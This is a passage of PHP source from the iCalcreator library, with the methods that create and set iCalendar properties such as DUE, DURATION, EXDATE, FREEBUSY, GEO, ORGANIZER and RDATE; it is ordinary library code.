    $this->dtstart = iCalUtilityFunctions::_setDate( $year, $month, $day, $hour, $min, $sec, $tz, $params, 'dtstart', $this->objName, $this->getConfig( 'TZID' ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: DUE
 */
/**
 * creates formatted output for calendar component property due
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.4 - 2012-09-26
 * @return string
 */
  function createDue() {
    if( empty( $this->due )) return FALSE;
    if( !isset( $this->due['value']['year'] )  &&
        !isset( $this->due['value']['month'] ) &&
        !isset( $this->due['value']['day'] )   &&
        !isset( $this->due['value']['hour'] )  &&
        !isset( $this->due['value']['min'] )   &&
        !isset( $this->due['value']['sec'] )) {
      if( $this->getConfig( 'allowEmpty' ))
        return $this->_createElement( 'DUE' );
      else
       return FALSE;
    }
    $parno      = ( isset( $this->due['params']['VALUE'] ) && ( 'DATE' == $this->due['params']['VALUE'] )) ? 3 : null;
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->due['value'], $parno );
    $attributes = $this->_createParams( $this->due['params'] );
    return $this->_createElement( 'DUE', $attributes, $formatted );
  }
/**
 * set calendar component property due
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $year
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param array $params optional
 * @return bool
 */
  function setDue( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $tz=FALSE, $params=FALSE ) {
    if( empty( $year )) {
      if( $this->getConfig( 'allowEmpty' )) {
        $this->due = array( 'value' => '', 'params' => iCalUtilityFunctions::_setParams( $params ));
        return TRUE;
      }
      else
        return FALSE;
    }
    $this->due = iCalUtilityFunctions::_setDate( $year, $month, $day, $hour, $min, $sec, $tz, $params, null, null, $this->getConfig( 'TZID' ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: DURATION
 */
/**
 * creates formatted output for calendar component property duration
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-05-25
 * @return string
 */
  function createDuration() {
    if( empty( $this->duration )) return FALSE;
    if( !isset( $this->duration['value']['week'] ) &&
        !isset( $this->duration['value']['day'] )  &&
        !isset( $this->duration['value']['hour'] ) &&
        !isset( $this->duration['value']['min'] )  &&
        !isset( $this->duration['value']['sec'] ))
      if( $this->getConfig( 'allowEmpty' ))
        return $this->_createElement( 'DURATION' );
      else return FALSE;
    $attributes = $this->_createParams( $this->duration['params'] );
    return $this->_createElement( 'DURATION', $attributes, iCalUtilityFunctions::_duration2str( $this->duration['value'] ));
  }
/**
 * set calendar component property duration
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-05-25
 * @param mixed $week
 * @param mixed $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param array $params optional
 * @return bool
 */
  function setDuration( $week, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $params=FALSE ) {
    if( empty( $week ) && empty( $day ) && empty( $hour ) && empty( $min ) && empty( $sec )) {
      if( $this->getConfig( 'allowEmpty' ))
        $week = $day = null;
      else
        return FALSE;
    }
    if( is_array( $week ) && ( 1 <= count( $week )))
      $this->duration = array( 'value' => iCalUtilityFunctions::_duration2arr( $week ), 'params' => iCalUtilityFunctions::_setParams( $day ));
    elseif( is_string( $week ) && ( 3 <= strlen( trim( $week )))) {
      $week = trim( $week );
      if( in_array( substr( $week, 0, 1 ), array( '+', '-' )))
        $week = substr( $week, 1 );
      $this->duration = array( 'value' => iCalUtilityFunctions::_durationStr2arr( $week ), 'params' => iCalUtilityFunctions::_setParams( $day ));
    }
    else
      $this->duration = array( 'value' => iCalUtilityFunctions::_duration2arr( array( 'week' => $week, 'day' => $day, 'hour' => $hour, 'min' => $min, 'sec' => $sec ))
                             , 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: EXDATE
 */
/**
 * creates formatted output for calendar component property exdate
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.5 - 2012-12-28
 * @return string
 */
  function createExdate() {
    if( empty( $this->exdate )) return FALSE;
    $output  = null;
    $exdates = array();
    foreach( $this->exdate as $theExdate ) {
      if( empty( $theExdate['value'] )) {
        if( $this->getConfig( 'allowEmpty' ))
          $output .= $this->_createElement( 'EXDATE' );
        continue;
      }
      if( 1 < count( $theExdate['value'] ))
        usort( $theExdate['value'], array( 'iCalUtilityFunctions', '_sortExdate1' ));
      $exdates[] = $theExdate;
    }
    if( 1 < count( $exdates ))
      usort( $exdates, array( 'iCalUtilityFunctions', '_sortExdate2' ));
    foreach( $exdates as $theExdate ) {
      $content = $attributes = null;
      foreach( $theExdate['value'] as $eix => $exdatePart ) {
        $parno = count( $exdatePart );
        $formatted = iCalUtilityFunctions::_date2strdate( $exdatePart, $parno );
        if( isset( $theExdate['params']['TZID'] ))
          $formatted = str_replace( 'Z', '', $formatted);
        if( 0 < $eix ) {
          if( isset( $theExdate['value'][0]['tz'] )) {
            if( ctype_digit( substr( $theExdate['value'][0]['tz'], -4 )) ||
               ( 'Z' == $theExdate['value'][0]['tz'] )) {
              if( 'Z' != substr( $formatted, -1 ))
                $formatted .= 'Z';
            }
            else
              $formatted = str_replace( 'Z', '', $formatted );
          }
          else
            $formatted = str_replace( 'Z', '', $formatted );
        } // end if( 0 < $eix )
        $content .= ( 0 < $eix ) ? ','.$formatted : $formatted;
      } // end foreach( $theExdate['value'] as $eix => $exdatePart )
      $attributes .= $this->_createParams( $theExdate['params'] );
      $output .= $this->_createElement( 'EXDATE', $attributes, $content );
    } // end foreach( $exdates as $theExdate )
    return $output;
  }
/**
 * set calendar component property exdate
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param array exdates
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setExdate( $exdates, $params=FALSE, $index=FALSE ) {
    if( empty( $exdates )) {
      if( $this->getConfig( 'allowEmpty' )) {
        iCalUtilityFunctions::_setMval( $this->exdate, '', $params, FALSE, $index );
        return TRUE;
      }
      else
        return FALSE;
    }
    $input  = array( 'params' => iCalUtilityFunctions::_setParams( $params, array( 'VALUE' => 'DATE-TIME' )));
    $toZ = ( isset( $input['params']['TZID'] ) && in_array( strtoupper( $input['params']['TZID'] ), array( 'GMT', 'UTC', 'Z' ))) ? TRUE : FALSE;
            /* ev. check 1:st date and save ev. timezone **/
    iCalUtilityFunctions::_chkdatecfg( reset( $exdates ), $parno, $input['params'] );
    iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE-TIME' ); // remove default parameter
    foreach( $exdates as $eix => $theExdate ) {
      iCalUtilityFunctions::_strDate2arr( $theExdate );
      if( iCalUtilityFunctions::_isArrayTimestampDate( $theExdate )) {
        if( isset( $theExdate['tz'] ) && !iCalUtilityFunctions::_isOffset( $theExdate['tz'] )) {
          if( isset( $input['params']['TZID'] ))
            $theExdate['tz'] = $input['params']['TZID'];
          else
            $input['params']['TZID'] = $theExdate['tz'];
        }
        $exdatea = iCalUtilityFunctions::_timestamp2date( $theExdate, $parno );
      }
      elseif(  is_array( $theExdate )) {
        $d = iCalUtilityFunctions::_chkDateArr( $theExdate, $parno );
        if( isset( $d['tz'] ) && ( 'Z' != $d['tz'] ) && iCalUtilityFunctions::_isOffset( $d['tz'] )) {
          $strdate = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $d['tz'] );
          $exdatea = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
          unset( $exdatea['unparsedtext'] );
        }
        else
          $exdatea = $d;
      }
      elseif( 8 <= strlen( trim( $theExdate ))) { // ex. 2006-08-03 10:12:18
        $exdatea = iCalUtilityFunctions::_strdate2date( $theExdate, $parno );
        unset( $exdatea['unparsedtext'] );
      }
      if( 3 == $parno )
        unset( $exdatea['hour'], $exdatea['min'], $exdatea['sec'], $exdatea['tz'] );
      elseif( isset( $exdatea['tz'] ))
        $exdatea['tz'] = (string) $exdatea['tz'];
      if(  isset( $input['params']['TZID'] ) ||
         ( isset( $exdatea['tz'] ) && !iCalUtilityFunctions::_isOffset( $exdatea['tz'] )) ||
         ( isset( $input['value'][0] ) && ( !isset( $input['value'][0]['tz'] ))) ||
         ( isset( $input['value'][0]['tz'] ) && !iCalUtilityFunctions::_isOffset( $input['value'][0]['tz'] )))
        unset( $exdatea['tz'] );
      if( $toZ ) // time zone Z
        $exdatea['tz'] = 'Z';
      $input['value'][] = $exdatea;
    }
    if( 0 >= count( $input['value'] ))
      return FALSE;
    if( 3 == $parno ) {
      $input['params']['VALUE'] = 'DATE';
      unset( $input['params']['TZID'] );
    }
    if( $toZ ) // time zone Z
      unset( $input['params']['TZID'] );
    iCalUtilityFunctions::_setMval( $this->exdate, $input['value'], $input['params'], FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: EXRULE
 */
/**
 * creates formatted output for calendar component property exrule
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-22
 * @return string
 */
  function createExrule() {
    if( empty( $this->exrule )) return FALSE;
    return $this->_format_recur( 'EXRULE', $this->exrule );
  }
/**
 * set calendar component property exdate
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param array $exruleset
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setExrule( $exruleset, $params=FALSE, $index=FALSE ) {
    if( empty( $exruleset )) if( $this->getConfig( 'allowEmpty' )) $exruleset = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->exrule, iCalUtilityFunctions::_setRexrule( $exruleset ), $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: FREEBUSY
 */
/**
 * creates formatted output for calendar component property freebusy
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.27 - 2013-07-05
 * @return string
 */
  function createFreebusy() {
    if( empty( $this->freebusy )) return FALSE;
    $output = null;
    foreach( $this->freebusy as $freebusyPart ) {
      if( empty( $freebusyPart['value'] ) || (( 1 == count( $freebusyPart['value'] )) && isset( $freebusyPart['value']['fbtype'] ))) {
        if( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'FREEBUSY' );
        continue;
      }
      $attributes = $content = null;
      if( isset( $freebusyPart['value']['fbtype'] )) {
          $attributes .= $this->intAttrDelimiter.'FBTYPE='.$freebusyPart['value']['fbtype'];
        unset( $freebusyPart['value']['fbtype'] );
        $freebusyPart['value'] = array_values( $freebusyPart['value'] );
      }
      else
        $attributes .= $this->intAttrDelimiter.'FBTYPE=BUSY';
      $attributes .= $this->_createParams( $freebusyPart['params'] );
      $fno = 1;
      $cnt = count( $freebusyPart['value']);
      if( 1 < $cnt )
        usort( $freebusyPart['value'], array( 'iCalUtilityFunctions', '_sortRdate1' ));
      foreach( $freebusyPart['value'] as $periodix => $freebusyPeriod ) {
        $formatted   = iCalUtilityFunctions::_date2strdate( $freebusyPeriod[0] );
        $content .= $formatted;
        $content .= '/';
        $cnt2 = count( $freebusyPeriod[1]);
        if( array_key_exists( 'year', $freebusyPeriod[1] ))      // date-time
          $cnt2 = 7;
        elseif( array_key_exists( 'week', $freebusyPeriod[1] ))  // duration
          $cnt2 = 5;
        if(( 7 == $cnt2 )   &&    // period=  -> date-time
            isset( $freebusyPeriod[1]['year'] )  &&
            isset( $freebusyPeriod[1]['month'] ) &&
            isset( $freebusyPeriod[1]['day'] )) {
          $content .= iCalUtilityFunctions::_date2strdate( $freebusyPeriod[1] );
        }
        else {                                  // period=  -> dur-time
          $content .= iCalUtilityFunctions::_duration2str( $freebusyPeriod[1] );
        }
        if( $fno < $cnt )
          $content .= ',';
        $fno++;
      }
      $output .= $this->_createElement( 'FREEBUSY', $attributes, $content );
    }
    return $output;
  }
/**
 * set calendar component property freebusy
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $fbType
 * @param array $fbValues
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setFreebusy( $fbType, $fbValues, $params=FALSE, $index=FALSE ) {
    if( empty( $fbValues )) {
      if( $this->getConfig( 'allowEmpty' )) {
        iCalUtilityFunctions::_setMval( $this->freebusy, '', $params, FALSE, $index );
        return TRUE;
      }
      else
        return FALSE;
    }
    $fbType = strtoupper( $fbType );
    if(( !in_array( $fbType, array( 'FREE', 'BUSY', 'BUSY-UNAVAILABLE', 'BUSY-TENTATIVE' ))) &&
       ( 'X-' != substr( $fbType, 0, 2 )))
      $fbType = 'BUSY';
    $input = array( 'fbtype' => $fbType );
    foreach( $fbValues as $fbPeriod ) {   // periods => period
      if( empty( $fbPeriod ))
        continue;
      $freebusyPeriod = array();
      foreach( $fbPeriod as $fbMember ) { // pairs => singlepart
        $freebusyPairMember = array();
        if( is_array( $fbMember )) {
          if( iCalUtilityFunctions::_isArrayDate( $fbMember )) { // date-time value
            $freebusyPairMember       = iCalUtilityFunctions::_chkDateArr( $fbMember, 7 );
            $freebusyPairMember['tz'] = 'Z';
          }
          elseif( iCalUtilityFunctions::_isArrayTimestampDate( $fbMember )) { // timestamp value
            $freebusyPairMember       = iCalUtilityFunctions::_timestamp2date( $fbMember['timestamp'], 7 );
            $freebusyPairMember['tz'] = 'Z';
          }
          else {                                         // array format duration
            $freebusyPairMember = iCalUtilityFunctions::_duration2arr( $fbMember );
          }
        }
        elseif(( 3 <= strlen( trim( $fbMember ))) &&    // string format duration
               ( in_array( $fbMember{0}, array( 'P', '+', '-' )))) {
          if( 'P' != $fbMember{0} )
            $fbmember = substr( $fbMember, 1 );
          $freebusyPairMember = iCalUtilityFunctions::_durationStr2arr( $fbMember );
        }
        elseif( 8 <= strlen( trim( $fbMember ))) { // text date ex. 2006-08-03 10:12:18
          $freebusyPairMember       = iCalUtilityFunctions::_strdate2date( $fbMember, 7 );
          unset( $freebusyPairMember['unparsedtext'] );
          $freebusyPairMember['tz'] = 'Z';
        }
        $freebusyPeriod[]   = $freebusyPairMember;
      }
      $input[]              = $freebusyPeriod;
    }
    iCalUtilityFunctions::_setMval( $this->freebusy, $input, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: GEO
 */
/**
 * creates formatted output for calendar component property geo
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.12.6 - 2012-04-21
 * @return string
 */
  function createGeo() {
    if( empty( $this->geo )) return FALSE;
    if( empty( $this->geo['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'GEO' ) : FALSE;
    $attributes = $this->_createParams( $this->geo['params'] );
    if( 0.0 < $this->geo['value']['latitude'] )
      $sign   = '+';
    else
      $sign   = ( 0.0 > $this->geo['value']['latitude'] ) ? '-' : '';
    $content  = $sign.sprintf( "%09.6f", abs( $this->geo['value']['latitude'] ));       // sprintf && lpad && float && sign !"#¤%&/(
    $content  = rtrim( rtrim( $content, '0' ), '.' );
    if( 0.0 < $this->geo['value']['longitude'] )
      $sign   = '+';
    else
      $sign   = ( 0.0 > $this->geo['value']['longitude'] ) ? '-' : '';
    $content .= ';'.$sign.sprintf( '%8.6f', abs( $this->geo['value']['longitude'] ));   // sprintf && lpad && float && sign !"#¤%&/(
    $content  = rtrim( rtrim( $content, '0' ), '.' );
    return $this->_createElement( 'GEO', $attributes, $content );
  }
/**
 * set calendar component property geo
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param float $latitude
 * @param float $longitude
 * @param array $params optional
 * @return bool
 */
  function setGeo( $latitude, $longitude, $params=FALSE ) {
    if( isset( $latitude ) && isset( $longitude )) {
      if( !is_array( $this->geo )) $this->geo = array();
      $this->geo['value']['latitude']  = (float) $latitude;
      $this->geo['value']['longitude'] = (float) $longitude;
      $this->geo['params'] = iCalUtilityFunctions::_setParams( $params );
    }
    elseif( $this->getConfig( 'allowEmpty' ))
      $this->geo = array( 'value' => '', 'params' => iCalUtilityFunctions::_setParams( $params ) );
    else
      return FALSE;
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: LAST-MODIFIED
 */
/**
 * creates formatted output for calendar component property last-modified
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createLastModified() {
    if( empty( $this->lastmodified )) return FALSE;
    $attributes = $this->_createParams( $this->lastmodified['params'] );
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->lastmodified['value'], 7 );
    return $this->_createElement( 'LAST-MODIFIED', $attributes, $formatted );
  }
/**
 * set calendar component property completed
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-23
 * @param mixed $year optional
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param array $params optional
 * @return boll
 */
  function setLastModified( $year=FALSE, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $params=FALSE ) {
    if( empty( $year ))
      $year = date('Ymd\THis', mktime( date( 'H' ), date( 'i' ), date( 's' ) - date( 'Z'), date( 'm' ), date( 'd' ), date( 'Y' )));
    $this->lastmodified = iCalUtilityFunctions::_setDate2( $year, $month, $day, $hour, $min, $sec, $params );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: LOCATION
 */
/**
 * creates formatted output for calendar component property location
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createLocation() {
    if( empty( $this->location )) return FALSE;
    if( empty( $this->location['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'LOCATION' ) : FALSE;
    $attributes = $this->_createParams( $this->location['params'], array( 'ALTREP', 'LANGUAGE' ));
    $content    = iCalUtilityFunctions::_strrep( $this->location['value'], $this->format, $this->nl );
    return $this->_createElement( 'LOCATION', $attributes, $content );
  }
/**
 * set calendar component property location
 '
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array params optional
 * @return bool
 */
  function setLocation( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->location = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: ORGANIZER
 */
/**
 * creates formatted output for calendar component property organizer
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.6.33 - 2010-12-17
 * @return string
 */
  function createOrganizer() {
    if( empty( $this->organizer )) return FALSE;
    if( empty( $this->organizer['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'ORGANIZER' ) : FALSE;
    $attributes = $this->_createParams( $this->organizer['params']
                                      , array( 'CN', 'DIR', 'SENT-BY', 'LANGUAGE' ));
    return $this->_createElement( 'ORGANIZER', $attributes, $this->organizer['value'] );
  }
/**
 * set calendar component property organizer
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array params optional
 * @return bool
 */
  function setOrganizer( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    if( !empty( $value )) {
      if( FALSE === ( $pos = strpos( substr( $value, 0, 9 ), ':' )))
        $value = 'MAILTO:'.$value;
      elseif( !empty( $value ))
        $value = strtolower( substr( $value, 0, $pos )).substr( $value, $pos );
      $value = str_replace( 'mailto:', 'MAILTO:', $value );
    }
    $this->organizer = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    if( isset( $this->organizer['params']['SENT-BY'] )){
      if( 'mailto:' !== strtolower( substr( $this->organizer['params']['SENT-BY'], 0, 7 )))
        $this->organizer['params']['SENT-BY'] = 'MAILTO:'.$this->organizer['params']['SENT-BY'];
      else
        $this->organizer['params']['SENT-BY'] = 'MAILTO:'.substr( $this->organizer['params']['SENT-BY'], 7 );
    }
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: PERCENT-COMPLETE
 */
/**
 * creates formatted output for calendar component property percent-complete
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.3 - 2011-05-14
 * @return string
 */
  function createPercentComplete() {
    if( !isset($this->percentcomplete) || ( empty( $this->percentcomplete ) && !is_numeric( $this->percentcomplete ))) return FALSE;
    if( !isset( $this->percentcomplete['value'] ) || ( empty( $this->percentcomplete['value'] ) && !is_numeric( $this->percentcomplete['value'] )))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'PERCENT-COMPLETE' ) : FALSE;
    $attributes = $this->_createParams( $this->percentcomplete['params'] );
    return $this->_createElement( 'PERCENT-COMPLETE', $attributes, $this->percentcomplete['value'] );
  }
/**
 * set calendar component property percent-complete
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param int $value
 * @param array $params optional
 * @return bool
 */
  function setPercentComplete( $value, $params=FALSE ) {
    if( empty( $value ) && !is_numeric( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->percentcomplete = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: PRIORITY
 */
/**
 * creates formatted output for calendar component property priority
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.3 - 2011-05-14
 * @return string
 */
  function createPriority() {
    if( !isset($this->priority) || ( empty( $this->priority ) && !is_numeric( $this->priority ))) return FALSE;
    if( !isset( $this->priority['value'] ) || ( empty( $this->priority['value'] ) && !is_numeric( $this->priority['value'] )))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'PRIORITY' ) : FALSE;
    $attributes = $this->_createParams( $this->priority['params'] );
    return $this->_createElement( 'PRIORITY', $attributes, $this->priority['value'] );
  }
/**
 * set calendar component property priority
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param int $value
 * @param array $params optional
 * @return bool
 */
  function setPriority( $value, $params=FALSE  ) {
    if( empty( $value ) && !is_numeric( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->priority = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: RDATE
 */
/**
 * creates formatted output for calendar component property rdate
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.9 - 2013-01-09
 * @return string
 */
  function createRdate() {
    if( empty( $this->rdate )) return FALSE;
    $utctime = ( in_array( $this->objName, array( 'vtimezone', 'standard', 'daylight' ))) ? TRUE : FALSE;
    $output = null;
    $rdates = array();
    foreach( $this->rdate as $rpix => $theRdate ) {
      if( empty( $theRdate['value'] )) {
        if( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'RDATE' );
        continue;
      }
      if( $utctime  )
        unset( $theRdate['params']['TZID'] );
      if( 1 < count( $theRdate['value'] ))
        usort( $theRdate['value'], array( 'iCalUtilityFunctions', '_sortRdate1' ));
      $rdates[] = $theRdate;
    }
    if( 1 < count( $rdates ))
      usort( $rdates, array( 'iCalUtilityFunctions', '_sortRdate2' ));
    foreach( $rdates as $rpix => $theRdate ) {
      $attributes = $this->_createParams( $theRdate['params'] );
      $cnt = count( $theRdate['value'] );
      $content = null;
      $rno = 1;
      foreach( $theRdate['value'] as $rix => $rdatePart ) {
        $contentPart = null;
        if( is_array( $rdatePart ) &&
            isset( $theRdate['params']['VALUE'] ) && ( 'PERIOD' == $theRdate['params']['VALUE'] )) { // PERIOD
          if( $utctime )
            unset( $rdatePart[0]['tz'] );
          $formatted = iCalUtilityFunctions::_date2strdate( $rdatePart[0] ); // PERIOD part 1
          if( $utctime || !empty( $theRdate['params']['TZID'] ))
            $formatted = str_replace( 'Z', '', $formatted);
          $contentPart .= $formatted;
          $contentPart .= '/';
          $cnt2 = count( $rdatePart[1]);
          if( array_key_exists( 'year', $rdatePart[1] )) {
            if( array_key_exists( 'hour', $rdatePart[1] ))
              $cnt2 = 7;                                      // date-time
            else
              $cnt2 = 3;                                      // date
          }
          elseif( array_key_exists( 'week', $rdatePart[1] ))  // duration
            $cnt2 = 5;
          if(( 7 == $cnt2 )   &&    // period=  -> date-time
              isset( $rdatePart[1]['year'] )  &&
              isset( $rdatePart[1]['month'] ) &&
              isset( $rdatePart[1]['day'] )) {
            if( $utctime )
              unset( $rdatePart[1]['tz'] );
            $formatted = iCalUtilityFunctions::_date2strdate( $rdatePart[1] ); // PERIOD part 2
            if( $utctime || !empty( $theRdate['params']['TZID'] ))
              $formatted = str_replace( 'Z', '', $formatted );
           $contentPart .= $formatted;
          }
          else {                                  // period=  -> dur-time
            $contentPart .= iCalUtilityFunctions::_duration2str( $rdatePart[1] );
          }
        } // PERIOD end
        else { // SINGLE date start
          if( $utctime )
            unset( $rdatePart['tz'] );
          $parno = ( isset( $theRdate['params']['VALUE'] ) && ( 'DATE' == isset( $theRdate['params']['VALUE'] ))) ? 3 : null;
          $formatted = iCalUtilityFunctions::_date2strdate( $rdatePart, $parno );
          if( $utctime || !empty( $theRdate['params']['TZID'] ))
            $formatted = str_replace( 'Z', '', $formatted);
          $contentPart .= $formatted;
        }
        $content .= $contentPart;
        if( $rno < $cnt )
          $content .= ',';
        $rno++;
      }
      $output    .= $this->_createElement( 'RDATE', $attributes, $content );
    }
    return $output;
  }
/**
 * set calendar component property rdate
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param array $rdates
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setRdate( $rdates, $params=FALSE, $index=FALSE ) {
    if( empty( $rdates )) {
      if( $this->getConfig( 'allowEmpty' )) {
        iCalUtilityFunctions::_setMval( $this->rdate, '', $params, FALSE, $index );
        return TRUE;
      }
      else
        return FALSE;
    }
    $input = array( 'params' => iCalUtilityFunctions::_setParams( $params, array( 'VALUE' => 'DATE-TIME' )));
    if( in_array( $this->objName, array( 'vtimezone', 'standard', 'daylight' ))) {
      unset( $input['params']['TZID'] );
      $input['params']['VALUE'] = 'DATE-TIME';
    }
    $zArr = array( 'GMT', 'UTC', 'Z' );
    $toZ = ( isset( $params['TZID'] ) && in_array( strtoupper( $params['TZID'] ), $zArr )) ? TRUE : FALSE;
            /*  check if PERIOD, if not set */
    if((!isset( $input['params']['VALUE'] ) || !in_array( $input['params']['VALUE'], array( 'DATE', 'PERIOD' ))) &&
          isset( $rdates[0] )    && is_array( $rdates[0] ) && ( 2 == count( $rdates[0] )) &&
          isset( $rdates[0][0] ) &&    isset( $rdates[0][1] ) && !isset( $rdates[0]['timestamp'] ) &&
    (( is_array( $rdates[0][0] ) && ( isset( $rdates[0][0]['timestamp'] ) ||
                                      iCalUtilityFunctions::_isArrayDate( $rdates[0][0] ))) ||
                                    ( is_string( $rdates[0][0] ) && ( 8 <= strlen( trim( $rdates[0][0] )))))  &&
     ( is_array( $rdates[0][1] ) || ( is_string( $rdates[0][1] ) && ( 3 <= strlen( trim( $rdates[0][1] ))))))
      $input['params']['VALUE'] = 'PERIOD';
            /* check 1:st date, upd. $parno (opt) and save ev. timezone **/
    $date  = reset( $rdates );
    if( isset( $input['params']['VALUE'] ) && ( 'PERIOD' == $input['params']['VALUE'] )) // PERIOD
      $date  = reset( $date );
    iCalUtilityFunctions::_chkdatecfg( $date, $parno, $input['params'] );
    iCalUtilityFunctions::_existRem( $input['params'], 'VALUE', 'DATE-TIME' ); // remove default
    foreach( $rdates as $rpix => $theRdate ) {
      $inputa = null;
      iCalUtilityFunctions::_strDate2arr( $theRdate );
      if( is_array( $theRdate )) {
        if( isset( $input['params']['VALUE'] ) && ( 'PERIOD' == $input['params']['VALUE'] )) { // PERIOD
          foreach( $theRdate as $rix => $rPeriod ) {
            iCalUtilityFunctions::_strDate2arr( $theRdate );
            if( is_array( $rPeriod )) {
              if( iCalUtilityFunctions::_isArrayTimestampDate( $rPeriod )) {    // timestamp
                if( isset( $rPeriod['tz'] ) && !iCalUtilityFunctions::_isOffset( $rPeriod['tz'] )) {
                  if( isset( $input['params']['TZID'] ))
                    $rPeriod['tz'] = $input['params']['TZID'];
                  else
                    $input['params']['TZID'] = $rPeriod['tz'];
                }
                $inputab = iCalUtilityFunctions::_timestamp2date( $rPeriod, $parno );
              }
              elseif( iCalUtilityFunctions::_isArrayDate( $rPeriod )) {
                $d = ( 3 < count ( $rPeriod )) ? iCalUtilityFunctions::_chkDateArr( $rPeriod, $parno ) : iCalUtilityFunctions::_chkDateArr( $rPeriod, 6 );
                if( isset( $d['tz'] ) && ( 'Z' != $d['tz'] ) && iCalUtilityFunctions::_isOffset( $d['tz'] )) {
